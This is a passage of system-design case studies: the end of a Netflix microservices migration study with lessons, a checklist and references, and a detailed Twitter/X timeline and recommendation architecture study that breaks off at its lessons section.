**How it applies elsewhere:**

- Do not pre-build infrastructure tooling based on hypothetical needs. Wait until a real production problem manifests.
- If an existing open-source tool solves your problem, use it. Netflix built custom solutions because nothing existed in 2011–2013 that handled their cloud-native requirements. In 2026, Kubernetes, Envoy, and Istio likely solve these problems without custom tooling.

**Warning signs of premature tooling:**

- Building a service mesh before you have more than 5 services
- Implementing circuit breakers before you've experienced a cascading failure
- Building a custom API gateway before the default cloud provider's gateway becomes a bottleneck

#### 3. Chaos Engineering Is Insurance, Not Heroics

**The insight**: Netflix invested in chaos engineering (Chaos Monkey, 2010) before they had experienced a major cloud outage. When the April 2011 AWS outage hit, Netflix survived while many AWS customers did not. The insurance paid off before the premium felt expensive.

**How it applies elsewhere:**

- Start with the simplest form: randomly terminate one instance during business hours. If your service cannot handle this, you have a resilience problem.
- Graduate to zone-level (Chaos Gorilla) and region-level (Chaos Kong) failures as your architecture matures.
- Chaos engineering is most valuable when it's boring — when terminating instances produces no customer-visible impact.

**Warning signs chaos engineering is working:**

- Engineers stop panicking when instances die
- Services automatically recover without manual intervention
- On-call incidents decrease despite growing traffic

#### 4. Cloud-Native Means Designing for Failure, Not Just Hosting in the Cloud

**The insight**: Netflix explicitly rejected "lift-and-shift" (moving the monolith to AWS without architectural changes). Cloud-native means designing every component to handle the failure of any other component — ephemeral instances, network partitions, multi-region failover.

**How it applies elsewhere:**

- Every service must handle the unavailability of its dependencies (timeouts, fallbacks, circuit breakers)
- No service should assume stable IP addresses or permanent instances
- Data replication across availability zones should be the default, not an optimization

### Process Lessons

#### 1. Database Migration Is the Hardest Part

**The insight**: Migrating stateless services took 2–3 years. Migrating the data tier took another 2–3 years. The data layer is hardest because it requires rethinking data models, accepting eventual consistency, and migrating live data without downtime.

**What Netflix would emphasize:**

- Denormalization is a feature, not a compromise. Cassandra's query-optimized data model is fundamentally different from Oracle's normalized model.
- Tunable consistency (choosing consistency level per query) is more powerful than all-or-nothing ACID, but requires application-level reasoning about consistency.
- Plan for the billing system to be last. Financially sensitive data has the highest correctness requirements and the least tolerance for migration risk.

### Organizational Lessons

#### 1. Conway's Law Is a Feature, Not a Bug

**The insight**: Netflix's microservices architecture only worked because the organization was structured to match it. Small, autonomous teams (2–8 engineers) own their services end-to-end. Centralized platform teams provide shared tooling but don't mandate technology choices.

**How organization structure affected the outcome:**

- The "Full Cycle Developer" model means every engineer understands deployment, monitoring, and on-call — not just coding
- "Paved Road" tooling (recommended but not mandated tools) gives teams autonomy while reducing fragmentation
- "Highly aligned, loosely coupled" — teams get strategic context and make their own tactical decisions

**Warning signs your organization isn't ready for microservices:**

- Teams share databases across service boundaries
- A central deployment team handles all releases
- Engineers say "that's an ops problem" about their own services
- Architecture decisions require approval from a central review board

## Applying This to Your System

### When This Pattern Applies

You might benefit from a monolith-to-microservices migration if:

- Deployment coupling is your primary bottleneck — multiple teams blocked waiting for a shared release cycle
- You've hit a vertical scaling ceiling on your database
- Different parts of your system need to scale at different rates (e.g., search traffic 10x higher than checkout)
- Your blast radius is total — any failure takes down the entire system

### When This Pattern Does NOT Apply

- Your team is smaller than 20 engineers. Microservices add operational overhead that small teams cannot absorb. Keep the monolith.
- Your system is not bottlenecked by deployment coupling. If teams can deploy independently within the monolith (e.g., via well-defined modules), you don't need separate services.
- You don't have observability infrastructure. Without distributed tracing, centralized logging, and service-level metrics, debugging microservices is harder than debugging a monolith.

### Checklist for Evaluation

- [ ] Are multiple teams blocked by a shared deployment cycle?
- [ ] Have you hit a scaling ceiling on your primary database?
- [ ] Is the blast radius of any failure your entire system?
- [ ] Do different components need to scale at different rates?
- [ ] Do you have the observability infrastructure to debug distributed systems?
- [ ] Is your organization structured for independent team ownership?
- [ ] Are you prepared for a multi-year migration?

### Starting Points

1. **Map your monolith's bounded contexts**: Identify the natural service boundaries in your existing codebase. These are the seams where you'll extract services.
2. **Extract one non-critical service first**: Pick the simplest, least-coupled component. Use it to build your deployment pipeline, service discovery, and monitoring for microservices.
3. **Invest in observability before decomposition**: Distributed tracing, centralized logging, and service-level dashboards are prerequisites, not follow-on work.
4. **Delay data tier migration**: Start with stateless services. Save database decomposition for after you've proven the microservices operational model.

## Conclusion

Netflix's 7-year migration from monolith to microservices succeeded because of three mutually reinforcing decisions:

1. **Architecture**: Incremental decomposition via the strangler fig pattern, not a big-bang rewrite. Each service was extracted, validated in production with canary deployments, and promoted independently.
2. **Tooling**: Each production pain point produced a purpose-built tool — Eureka for discovery, Hystrix for fault isolation, Zuul for edge routing, Chaos Monkey for resilience validation. These tools were byproducts of the migration, not prerequisites.
3. **Organization**: Small autonomous teams (2–8 engineers) owning the full lifecycle of their services. The "Full Cycle Developer" model and "freedom and responsibility" culture made independent ownership viable.

The migration also had a lifecycle. The Netflix OSS ecosystem that defined cloud-native Java architecture from 2012 to 2018 has itself been superseded — by service mesh patterns (Envoy, gRPC), container orchestration (Kubernetes via Titus), and the "thin client + sidecar proxy" model that Netflix now uses internally. The tools changed, but the principles — design for failure, isolate blast radius, deploy independently, own what you build — remain the enduring lesson.

For teams considering this journey: Netflix spent 7 years and hundreds of engineering-years on this migration. They did it because streaming traffic was growing 100x and the monolith could not keep pace. If your growth trajectory doesn't demand this level of architectural investment, a well-structured monolith with clear module boundaries will serve you better — and Netflix's early success with the NCCP monolith proves that monoliths can scale further than most teams assume.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (CAP theorem, eventual consistency)
- Familiarity with service-oriented architecture and API gateway patterns
- Basic knowledge of AWS infrastructure (EC2, ELB, regions, availability zones)
- Understanding of database scaling approaches (vertical vs. horizontal, relational vs. NoSQL)

### Terminology

- **NCCP (Netflix Content Control Protocol)**: Netflix's original monolithic API application that served all client requests
- **Netflix OSS**: Netflix Open Source Software — the suite of cloud-native tools Netflix built and open-sourced (Eureka, Hystrix, Zuul, Ribbon, Archaius, etc.)
- **Strangler fig pattern**: A migration strategy where new services gradually replace monolith functionality, routing traffic away from the old system until it can be decommissioned
- **Bulkhead pattern**: Isolating system components into separate failure domains so that a failure in one does not cascade to others — named after watertight compartments in ship hulls
- **Circuit breaker**: A pattern that detects failures and prevents cascading failure by "tripping" (opening) when a dependency exceeds a failure threshold, redirecting to a fallback
- **EVCache**: Netflix's distributed caching layer built on top of Memcached, handling 400 million operations per second
- **Netflix Open Connect**: Netflix's custom CDN with physical appliances deployed inside ISP networks for video delivery
- **Simian Army**: Netflix's suite of chaos engineering tools (Chaos Monkey, Chaos Gorilla, Chaos Kong, etc.) that proactively inject failures in production
- **FIT (Failure Injection Testing)**: Netflix's evolved chaos engineering framework that injects failures at the request level through Zuul, providing more precise fault injection than random instance termination
- **Paved Road**: Netflix's term for recommended (but not mandated) internal tooling and platforms that teams are encouraged to use
- **Full Cycle Developer**: Netflix's model where engineers own the full lifecycle of their services — design, development, testing, deployment, operations, and support

### Summary

- **Trigger**: A 2008 Oracle database corruption exposed Netflix's single-point-of-failure monolithic architecture, blocking DVD shipments for 3 days
- **Decision**: Rather than patching the monolith, Netflix chose cloud-native decomposition — migrating entirely to AWS and rebuilding as independent microservices
- **Duration**: 7 years (2009–2016), migrating incrementally from simplest (non-critical batch jobs) to hardest (billing system)
- **Scale achieved**: 9.4M → 89M subscribers, 20M → 2B+ API requests/day, 0 → 700+ microservices on 100,000+ AWS instances
- **Tools created**: Each production pain point spawned an OSS tool — Eureka (discovery), Hystrix (circuit breaker), Zuul (gateway), Chaos Monkey (resilience testing)
- **Key lesson**: Microservices migration requires aligned changes across architecture (incremental decomposition), tooling (purpose-built for production pain), and organization (small autonomous teams with full-lifecycle ownership)

### References

**Primary Sources (Netflix Engineering)**

- [Completing the Netflix Cloud Migration](https://about.netflix.com/en/news/completing-the-netflix-cloud-migration) - Official announcement of migration completion, January 2016
- [A Closer Look at the Christmas Eve Outage](https://netflixtechblog.com/a-closer-look-at-the-christmas-eve-outage-d7b409a529ee) - Post-mortem of the December 2012 AWS ELB outage
- [NoSQL at Netflix](https://netflixtechblog.com/nosql-at-netflix-e937b660b4c) - Rationale for Cassandra adoption over Oracle
- [Benchmarking Cassandra Scalability on AWS — Over a Million Writes per Second](https://netflixtechblog.com/benchmarking-cassandra-scalability-on-aws-over-a-million-writes-per-second-39f45f066c9e) - Cassandra performance validation, November 2011
- [Introducing Hystrix for Resilience Engineering](https://netflixtechblog.com/introducing-hystrix-for-resilience-engineering-13531c1ab362) - Hystrix circuit breaker announcement, November 2012
- [Announcing Zuul: Edge Service in the Cloud](https://netflixtechblog.com/announcing-zuul-edge-service-in-the-cloud-ab3af5be08ee) - Zuul API gateway announcement, June 2013
- [Open Sourcing Zuul 2](https://netflixtechblog.com/open-sourcing-zuul-2-82ea476cb2b3) - Zuul 2 async architecture, May 2018
- [Netflix Shares Cloud Load Balancing And Failover Tool: Eureka!](https://netflixtechblog.com/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5) - Eureka service discovery announcement, September 2012
- [The Netflix Simian Army](https://netflixtechblog.com/the-netflix-simian-army-16e57fbab116) - Chaos engineering tools announcement, July 2011
- [Full Cycle Developers at Netflix — Operate What You Build](https://netflixtechblog.com/full-cycle-developers-at-netflix-a08c31f83249) - Engineering culture and ownership model, May 2018
- [Global Continuous Delivery with Spinnaker](https://netflixtechblog.com/global-continuous-delivery-with-spinnaker-2a6896c23ba7) - Spinnaker announcement, November 2015
- [Lessons Netflix Learned from the AWS Outage](https://netflixtechblog.com/lessons-netflix-learned-from-the-aws-outage-deefe5fd0c04) - Resilience validation during April 2011 AWS outage
- [Zero Configuration Service Mesh with On-Demand Cluster Discovery](https://netflixtechblog.com/zero-configuration-service-mesh-with-on-demand-cluster-discovery-ac6483b52a51) - Netflix's shift toward Envoy-based service mesh

**Conference Talks**

- [Mastering Chaos — A Netflix Guide to Microservices](https://www.infoq.com/presentations/netflix-chaos-microservices/) - Josh Evans, QCon San Francisco, 2016
- [Microservices at Netflix Scale: Principles, Tradeoffs & Lessons Learned](https://gotocon.com/amsterdam-2016/presentation/Microservices%20at%20Netflix%20Scale%20-%20First%20Principles,%20Tradeoffs%20&%20Lessons%20Learned) - Ruslan Meshenberg, GOTO Amsterdam, 2016

**AWS and External Analysis**

- [AWS Case Study: Netflix](https://aws.amazon.com/solutions/case-studies/innovators/netflix/) - AWS's account of the Netflix migration
- [Adrian Cockcroft, Netflix Heads into the Clouds](https://www.usenix.org/system/files/login/articles/cockcroft_0.pdf) - USENIX ;login: article on Netflix's cloud architecture strategy

**Academic Papers**

- [Titus: Introducing Containers to the Netflix Cloud](https://queue.acm.org/detail.cfm?id=3158370) - ACM Queue paper on Netflix's container management platform

---

## Twitter/X: Timeline Architecture and the Recommendation Algorithm

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/twitter-timeline-architecture
**Category:** System Design / Real-World Case Studies
**Description:** How Twitter evolved from a monolithic Ruby on Rails app delivering reverse-chronological tweets at 4,600 writes/second into a distributed ML pipeline that processes 500 million tweets daily through a multi-stage recommendation system — and how X replaced all of it with a Grok-based transformer in 2026. This case study traces the full arc: fanout-on-write, the hybrid celebrity problem, the algorithmic timeline controversy, the unprecedented open-sourcing of the recommendation algorithm, and the latest Phoenix/Thunder architecture.

# Twitter/X: Timeline Architecture and the Recommendation Algorithm

How Twitter evolved from a monolithic Ruby on Rails app delivering reverse-chronological tweets at 4,600 writes/second into a distributed ML pipeline that processes 500 million tweets daily through a multi-stage recommendation system -- and how X replaced all of it with a Grok-based transformer in 2026. This case study traces the full arc: fanout-on-write, the hybrid celebrity problem, the algorithmic timeline controversy, the unprecedented open-sourcing of the recommendation algorithm, and the latest Phoenix/Thunder architecture.

<figure>

![Three eras of Twitter's timeline: pre-materialized Redis fanout (2009-2016), multi-service ML pipeline with SimClusters/GraphJet/MaskNet (2016-2025), and the unified Grok-based Phoenix/Thunder system (2026+).](./three-eras-of-twitter-s-timeline-pre-materialized-redis-fanout-2009-2016-multi-s.svg)

<figcaption>Three eras of Twitter's timeline: pre-materialized Redis fanout (2009-2016), multi-service ML pipeline with SimClusters/GraphJet/MaskNet (2016-2025), and the unified Grok-based Phoenix/Thunder system (2026+).</figcaption>
</figure>

## Abstract

Twitter's timeline architecture is a case study in three distinct approaches to content delivery at scale, each driven by different bottlenecks:

- **Fanout-on-write (2009-2016)**: Pre-materialize timelines in Redis at tweet creation time. Each tweet triggers writes to every follower's timeline cache. Optimizes for read latency (sub-millisecond) at the cost of write amplification. Breaks down for celebrities with millions of followers -- solved via a hybrid approach that merges high-follower tweets at read time.

- **Multi-service ML pipeline (2016-2025)**: Shift from chronological delivery to ranked recommendations. ~1,500 candidates sourced 50/50 from in-network (EarlyBird search) and out-of-network (SimClusters, GraphJet, TwHIN embeddings). Two-stage ranking: light ranker (logistic regression) filters candidates, heavy ranker (48M-parameter MaskNet) scores across 10 engagement dimensions with explicit weights (a reply engaged by the author is worth 150x a like). Open-sourced March 2023 across `twitter/the-algorithm` and `twitter/the-algorithm-ml`.

- **Grok-based transformer (2026+)**: Replace all hand-engineered features and specialized embedding systems with a single transformer architecture (Phoenix) derived from xAI's Grok-1. Thunder provides sub-millisecond in-memory post storage. Predicts 15 engagement signals. Open-sourced January 2026 at `xai-org/x-algorithm`.

The key trade-off across all three eras: **read latency vs. recommendation quality vs. system complexity**. Fanout-on-write minimized read latency but could not rank. The ML pipeline maximized recommendation quality through feature engineering but required dozens of specialized services. The Grok-based system trades feature engineering for model capacity, betting that a sufficiently large transformer can learn features that took years of manual engineering to build.

## Context

### The System

Twitter launched on July 15, 2006 as a microblogging platform with a 140-character limit (expanded to 280 in November 2017). The timeline -- a reverse-chronological feed of tweets from followed accounts -- was the product's core interaction surface.

| Metric                     | 2008      | 2012                         | 2017      | 2023      |
| -------------------------- | --------- | ---------------------------- | --------- | --------- |
| Monthly Active Users (MAU) | ~6M       | 150M                         | 330M      | ~550M (X) |
| Tweets/day                 | ~3M       | ~400M                        | ~500M     | ~500M     |
| Write QPS (tweets)         | ~35       | ~4,600 (avg), ~12,000 (peak) | ~6,000    | ~6,000    |
| Read QPS (timelines)       | Thousands | 300,000                      | Millions  | Millions  |
| Timeline pipeline latency  | Seconds   | <5s fanout                   | <1.5s avg | <1s       |

**Tech stack evolution:**

| Era       | Stack                                                                                 |
| --------- | ------------------------------------------------------------------------------------- |
| 2006-2008 | Ruby on Rails monolith, MySQL                                                         |
| 2009-2013 | Scala/JVM services, Redis timelines, FlockDB, Finagle RPC                             |
| 2014-2022 | Manhattan KV store, EarlyBird search, Heron streaming, Kafka, Hadoop/Scalding         |
| 2023-2025 | Home Mixer (Product Mixer Scala framework), MaskNet ranker, Navi (Rust model serving) |
| 2026+     | Phoenix (Grok transformer), Thunder (in-memory store), Home Mixer                     |

### The Trigger

Three inflection points drove architectural transformations:

1. **2008-2009**: The Fail Whale era. Twitter experienced ~1,444% growth between June 2008 and 2009. The Ruby on Rails monolith could not keep up -- the site was offline for almost six days total in 2007. This triggered the migration to JVM-based services and the fanout-on-write architecture.

2. **2016**: User engagement stagnated. Data showed users were missing tweets they would have cared about, especially those who followed many accounts or checked Twitter infrequently. Facebook's algorithmically-ranked News Feed was eating Twitter's lunch. This triggered the algorithmic timeline.

3. **2022-2023**: Elon Musk's $44 billion acquisition (October 27, 2022) triggered massive workforce reductions (~80% of headcount), aggressive infrastructure cost-cutting targeting $1 billion in annual savings, and an unprecedented open-sourcing of the recommendation algorithm as a transparency initiative.

## Era 1: Fanout-on-Write (2009-2016)

### The Architecture

The canonical description comes from Raffi Krikorian's "Timelines at Scale" presentation at QCon (April 2013). The core insight: shift computation from read time to write time.

<figure>

![Fanout-on-write: the write path does all the work (fanning tweet IDs to every follower's Redis list), so reads are simple key lookups.](./fanout-on-write-the-write-path-does-all-the-work-fanning-tweet-ids-to-every-foll.svg)

<figcaption>Fanout-on-write: the write path does all the work (fanning tweet IDs to every follower's Redis list), so reads are simple key lookups.</figcaption>
</figure>

**Write path:**

1. User publishes a tweet via the Write API.
2. Tweet is persisted to storage (initially MySQL, later Manhattan).
3. The **Fanout Service** retrieves the author's follower list from the **Social Graph Service** (backed by FlockDB -- a Scala-based distributed graph database storing 13+ billion edges at 20,000 writes/sec and 100,000 reads/sec peak).
4. For each follower, the fanout service inserts the tweet ID into that follower's home timeline in a **Redis cluster**.
5. Each Redis timeline held a maximum of **800 entries** (tweet IDs and minimal metadata, not full tweet content).

**Read path:**

1. User opens their timeline.
2. System reads the pre-computed list of tweet IDs from Redis.
3. Tweet IDs are hydrated with full content from the tweet store.
4. Rendered timeline is returned.

**Why this design**: The read:write ratio at Twitter was approximately **500:1**. Spending extra work on the write path (which happens once) to make reads nearly free (which happens 500x more) was an enormous net win. At 300,000 timeline reads/sec, computing timelines on-the-fly would have been prohibitively expensive.

### Scale Numbers (2012-2013)

| Metric                        | Value                       |
| ----------------------------- | --------------------------- |
| Active users                  | 150 million                 |
| Timeline read QPS             | 300,000                     |
| Tweet write QPS (avg)         | 4,600                       |
| Tweet write QPS (peak)        | 12,000                      |
| Redis inserts/sec from fanout | ~345,000                    |
| Fanout target latency         | <5 seconds to all followers |
| Redis timeline size cap       | 800 tweet IDs               |
| Redis replication             | 3x per tweet per datacenter |
| Firehose throughput           | 22 MB/sec                   |

### The Celebrity Problem and Hybrid Fanout

Pure fanout-on-write collapsed for users with millions of followers. When a celebrity tweeted, writing to millions of Redis timelines could take far longer than the 5-second target. Worse, replies to the tweet could appear in followers' timelines before the original tweet.

**The hybrid solution**: Twitter maintained a list of high-follower accounts (exact threshold undisclosed). These accounts were excluded from write-time fanout. When a user requested their timeline, the system merged:

1. The pre-computed timeline from Redis (tweets from "normal" accounts).
2. A real-time query to **EarlyBird** (Twitter's search index) for recent tweets from high-follower accounts that the user followed.

The merged result was re-sorted by timestamp and served. This shifted celebrity tweets from fanout-on-write to **fanout-on-read**, keeping the benefits of pre-materialization for the vast majority of accounts.

### Supporting Infrastructure

The fanout era relied on several key systems that Twitter built and open-sourced:

**Snowflake (2010)**: Distributed unique ID generator producing 64-bit IDs with embedded timestamps. Structure: 1 bit unused | 41 bits timestamp (ms since custom epoch) | 10 bits machine ID | 12 bits sequence number. Each machine generates up to 4,096 IDs per millisecond. IDs are roughly time-sorted, enabling efficient range queries. The design has been adopted industry-wide (Discord, Instagram, Sony's Sonyflake).

**FlockDB (2010)**: Distributed graph database built on the Gizzard sharding framework. Stored edges as 64-bit integer pairs (e.g., user-follows-user). Each edge stored twice -- forward and backward -- for efficient bidirectional queries. Built on MySQL as the underlying storage engine. Now archived.

**Finagle (2011)**: Protocol-agnostic, asynchronous RPC (Remote Procedure Call) framework in Scala, built on Netty. Provided connection pooling, load balancing, retry logic, and circuit breaking. Became the backbone of nearly all Twitter service-to-service communication. Extended Apache Thrift with the TTwitter protocol for distributed tracing support.

**Gizzard (2010)**: Middleware sharding framework requiring all writes to be idempotent and commutative (since write ordering was not guaranteed). Used a forwarding table mapping ID ranges to shards. FlockDB was built on top of Gizzard. Now archived, superseded by Manhattan.

## Era 2: The Algorithmic Timeline (2016-2025)

### Why Chronological Broke Down

On February 10, 2016, Twitter introduced its first algorithmic timeline. The announcement sparked the **#RIPTwitter** hashtag, but the data was clear:

- Users following hundreds of accounts missed a majority of tweets in the chronological feed.
- The "While You Were Away" feature (January 2015) had shown that surfacing older-but-relevant tweets measurably increased engagement.
- Competitors (Facebook, Instagram) had demonstrated that algorithmic ranking drove stronger engagement metrics.

The algorithm initially selected a handful of top-scoring tweets to display above the chronological feed. By 2017, "In Case You Missed It" replaced "While You Were Away", and algorithmic ranking became the default experience.

### The "For You" and "Following" Split (2023)

In January 2023, Twitter formalized the two-tab structure:

- **"For You"** (default): Ranked feed mixing in-network and out-of-network tweets via the full recommendation pipeline.
- **"Following"**: Pure reverse-chronological feed from followed accounts only. Retrieved via EarlyBird with no ranking.

### The 2023 Open-Source Release

On March 31, 2023, Twitter published the recommendation algorithm across two repositories:

- **[twitter/the-algorithm](https://github.com/twitter/the-algorithm)**: Scala/Java services (Home Mixer, CR-Mixer, EarlyBird, SimClusters, GraphJet, visibility filters).
- **[twitter/the-algorithm-ml](https://github.com/twitter/the-algorithm-ml)**: Python ML models (heavy ranker MaskNet, TwHIN embedding training).

**What was NOT released**: training data, model weights, production configurations, complete Trust and Safety codebase, ads recommendation components, and the build system.

### Pipeline Architecture (2023 Version)

The "For You" timeline pipeline processed approximately 500 million tweets daily across 400 billion real-time events, running roughly 5 billion times per day with an average latency under 1.5 seconds -- though each execution consumed approximately 220 seconds of CPU time, parallelized across services.

<figure>

![The full 2023 recommendation pipeline: four stages from candidate sourcing through mixing, orchestrated by Home Mixer on the Product Mixer Scala framework.](./the-full-2023-recommendation-pipeline-four-stages-from-candidate-sourcing-throug.svg)

<figcaption>The full 2023 recommendation pipeline: four stages from candidate sourcing through mixing, orchestrated by Home Mixer on the Product Mixer Scala framework.</figcaption>
</figure>

### Stage 1: Candidate Sourcing

The system selected approximately 1,500 candidate tweets, split roughly 50/50 between in-network and out-of-network sources.

#### In-Network Retrieval

**EarlyBird** (Twitter's real-time search system, paper: ICDE 2012) served as the primary retrieval engine. Built on a heavily modified Apache Lucene, EarlyBird maintained inverted indexes with three cluster types:

- **Realtime Cluster**: All public tweets from the last ~7 days.
- **Protected Cluster**: Private tweets from the same window.
- **Archive Cluster**: All tweets ever posted, overlapping with the realtime cluster.

Key design: **reverse document ID allocation** (newest tweets get the lowest IDs, so search naturally traverses newest-first) and a **single-writer, multiple-reader** concurrency model using memory barriers. By 2020, Twitter reduced EarlyBird's indexing latency from 15 seconds to approximately 1 second by replacing linked-list posting structures with skip lists.

**RealGraph** weighted which followed accounts' tweets to prioritize. RealGraph is a directed, edge-weighted graph where each edge weight represents tie strength -- the probability of future interaction between two users. A gradient boosting tree classifier trained on features like tweet frequency, follow interactions, profile views, and tweet clicks.

#### Out-of-Network Retrieval

**CR-Mixer** (Content Recommender Mixer) orchestrated out-of-network candidate generation through a four-stage pipeline: source signal extraction (from UserProfileService, RealGraph), candidate generation (delegated to specialized services), filtering, and lightweight ranking.

The underlying candidate sources:

**SimClusters** (paper: KDD 2020) mapped users and content into a shared sparse embedding space of approximately 145,000 communities. The system treated the follow graph as a bipartite graph of consumers (followers) and producers (followed accounts), ran Metropolis-Hastings community detection on the producer-producer similarity graph, then computed user interest vectors via matrix multiplication. Tweet embeddings accumulated dynamically through engagement -- each favorite added the liker's interest vector to the tweet's embedding via a real-time Heron streaming job. SimClusters ANN (Approximate Nearest Neighbor) then matched users to tweets using community-level indices.

**GraphJet** (paper: VLDB 2016) maintained an in-memory bipartite user-tweet interaction graph. It used SALSA (Stochastic Approach for Link-Structure Analysis) random walks to find tweets that similar users engaged with. Each server ingested up to 1 million graph edges per second, held approximately 1 billion edges in under 30 GB of RAM, and computed up to 500 recommendations per second. GraphJet powered approximately 15% of "For You" tweets, generating the "X liked" out-of-network recommendations.

**TwHIN** (Twitter Heterogeneous Information Network, paper: KDD 2022) learned dense 200-dimensional embeddings via TransE-style knowledge graph methods across 10^9 nodes and 10^11 edges, modeling user-user follows, user-tweet favorites, and user-ad clicks. Embeddings served dual purposes: candidate retrieval via similarity search and input features for the heavy ranker.

### Stage 2: Ranking

Candidates passed through a two-stage ranking funnel:

**Light Ranker**: A logistic regression model running inside EarlyBird's search index. Cheap to compute, it pre-scored and filtered candidates before heavy ranking. The production model at open-source time had been trained several years prior.

**Heavy Ranker**: A ~48 million parameter neural network using the **parallel MaskNet** architecture (Wang et al., 2021). MaskNet's core innovation is the instance-guided mask module, which performs element-wise products on feature embeddings and feed-forward layers, guided by the input instance.

The heavy ranker consumed approximately **6,000 features** organized into groups:

| Feature Group                    | What It Captures                                                   | Time Window                          |
| -------------------------------- | ------------------------------------------------------------------ | ------------------------------------ |
| `author_aggregate`               | Author engagement metrics (favorites, retweets, replies)           | 30-min real-time + 50-day historical |
| `user_author_aggregate`          | Interaction history between specific user-author pairs             | 50-day                               |
| `user_engager_aggregate`         | Two-hop engagement patterns (users who engaged with your engagers) | 50-day                               |
| `realgraph`                      | Direct interaction: follows, DMs, favorites, temporal metrics      | Ongoing                              |
| `two_hop`                        | Indirect interactions through shared engagement                    | Ongoing                              |
| `timelines.earlybird`            | Engagement features from the light ranker                          | Real-time                            |
| `tweet_aggregate`                | Per-tweet dwell time, shares, engagement counts                    | Real-time                            |
| `user_request_context_aggregate` | Day-of-week and hour-of-day behavioral patterns                    | 50-day                               |
| TwHIN embeddings                 | 3 x 200-dimensional dense vectors (follow + engagement)            | Pretrained                           |

The model output 10 engagement probabilities, combined via a weighted sum into a single score:

| Engagement Type                       | Weight     | Interpretation                                |
| ------------------------------------- | ---------- | --------------------------------------------- |
| Reply engaged by author               | **+75.0**  | Highest positive: two-way conversation        |
| Reply                                 | +13.5      | Conversations valued over passive consumption |
| Good profile click                    | +12.0      | Exploring the author's profile                |
| Good click (reply/like after viewing) | +11.0      | Deep engagement                               |
| Good click v2 (2+ min dwell)          | +10.0      | Extended attention                            |
| Retweet                               | +1.0       | Amplification                                 |
| Favorite (like)                       | +0.5       | Lowest positive signal                        |
| Video playback 50%                    | +0.005     | Near-negligible at open-source time           |
| Negative feedback                     | **-74.0**  | "Show less," blocks, mutes                    |
| Report                                | **-369.0** | Strongest signal in either direction          |

**Design reasoning behind these weights**: The team originally calibrated weights so each engagement type contributed equally to the expected score on average, then periodically adjusted them to optimize platform-level metrics. The extreme weighting of author-engaged replies (+75.0) reflected a deliberate product decision to prioritize conversational content. A single "show less" action (-74.0) approximately canceled 148 favorites -- creating a strong penalty for content users actively disliked.

The heavy ranker was served by **Navi**, a high-performance ML model serving framework written in Rust.

### Stage 3: Heuristics and Filtering

After ranking, several filters were applied:

- **Author Diversity**: Penalized consecutive tweets from the same author to avoid timeline domination.
- **Content Balance**: Maintained the in-network vs. out-of-network ratio.
- **Feedback Fatigue**: Lowered scores for authors/content the user previously gave negative feedback on.
- **Out-of-Network Scaling**: Removed out-of-network tweets without second-degree social connections (if none of the people you follow engaged with it, it was filtered).
- **Deduplication**: Removed previously seen tweets.
- **Visibility Filtering**: A centralized rule engine applying Trust and Safety policies. Actions ranged from hard filtering ("Drop") to soft treatments (labels, interstitials) and ranking signal adjustments. Four ML classifiers were open-sourced: pNSFWMedia, pNSFWText, pToxicity, and pAbuse.

### Stage 4: Mixing (Home Mixer)

**Home Mixer** was the orchestration service powering three timeline types: "For You," "Following," and Lists. Built on **Product Mixer**, a custom Scala framework structured around a hierarchy of pipelines:

- **Product Pipelines**: Top-level routers directing requests by product surface.
- **Mixer Pipelines**: Combined heterogeneous content (tweets, ads, users, prompts).
- **Recommendation Pipelines**: Scored and ranked homogeneous candidate sets.
- **Candidate Pipelines**: Fetched and processed candidates from underlying sources.

Home Mixer integrated advertisements, "Who to Follow" modules, conversation prompts, social context annotations, and edited tweet handling into the final feed.

## Era 3: The Grok-Based System (2026+)

### The Architectural Reset

On January 20, 2026, X open-sourced a fundamentally new recommendation algorithm at **[xai-org/x-algorithm](https://github.com/xai-org/x-algorithm)** -- the repository gained 1,600 GitHub stars within 6 hours.

The new system eliminates all hand-engineered features and most heuristics from the 2023 system, replacing them with a single transformer architecture adapted from xAI's Grok-1.

### New Components

| Component              | Purpose                                                              |
| ---------------------- | -------------------------------------------------------------------- |
| **Home Mixer**         | Orchestration layer (retained from the 2023 system)                  |
| **Thunder**            | In-memory post store for in-network content; sub-millisecond lookups |
| **Phoenix**            | Dual-function retrieval + ranking system using Grok-1 transformer    |
| **Candidate Pipeline** | Reusable framework infrastructure                                    |

### Phoenix: Retrieval and Ranking Unified

Phoenix handles both candidate retrieval and final ranking using neural network approaches:

**Retrieval (Two-Tower model)**: Separate neural networks encode user features and candidate posts into embedding vectors. Similarity calculations between these embeddings identify potentially relevant out-of-network content. Uses hash-based embeddings rather than traditional lookup tables, reducing memory requirements while processing millions of posts.

**Ranking (Transformer)**: The core ranking model is ported from xAI's Grok-1 open-source release, adapted for recommendation. Candidates cannot attend to each other during inference -- only to the user context -- making scores consistent and cacheable regardless of batch composition.

### 15 Engagement Signals

The model predicts probabilities for 15 signals (up from 10 in the 2023 system):

**Positive**: P(favorite), P(reply), P(repost), P(quote), P(click), P(profile_click), P(video_view), P(photo_expand), P(share), P(dwell), P(follow_author)

**Negative**: P(not_interested), P(block_author), P(mute_author), P(report)

Specific weight values were not disclosed in this release.

### 7-Stage Pipeline

1. **Query hydration**: Load user engagement history.
2. **Candidate sourcing**: In-network from Thunder + out-of-network from Phoenix retrieval.
3. **Candidate hydration**: Metadata enrichment via parallel hydrators.
4. **Pre-scoring filtering**: Duplicates, age thresholds, blocked accounts.
5. **Scoring**: Phoenix ML predictions, weighted combination, diversity adjustments.
6. **Selection**: Top-K extraction.
7. **Post-selection filtering**: Deletions, spam, final deduplication.

### What Changed from 2023 to 2026

| Aspect             | 2023 (twitter/the-algorithm)            | 2026 (xai-org/x-algorithm)     |
| ------------------ | --------------------------------------- | ------------------------------ |
| Ranker             | 48M param MaskNet                       | Grok-1 transformer             |
| Features           | ~6,000 hand-engineered features         | End-to-end learned             |
| Retrieval          | SimClusters, TwHIN, GraphJet, EarlyBird | Phoenix Two-Tower neural model |
| In-memory store    | Redis caching layers                    | Thunder (sub-ms lookups)       |
| Engagement signals | 10 types                                | 15 types                       |
| Model serving      | Navi (Rust)                             | Continued Rust-based serving   |

The architectural trajectory: replacing feature engineering with model capacity. SimClusters (145K communities), TwHIN (200-d embeddings), GraphJet (SALSA walks), and hundreds of aggregated feature groups were all subsumed by a single transformer that learns representations directly from engagement data.

## Lessons Learned

### Technical Lessons

#### 1. Fanout Strategy Depends on Read:Write Ratio

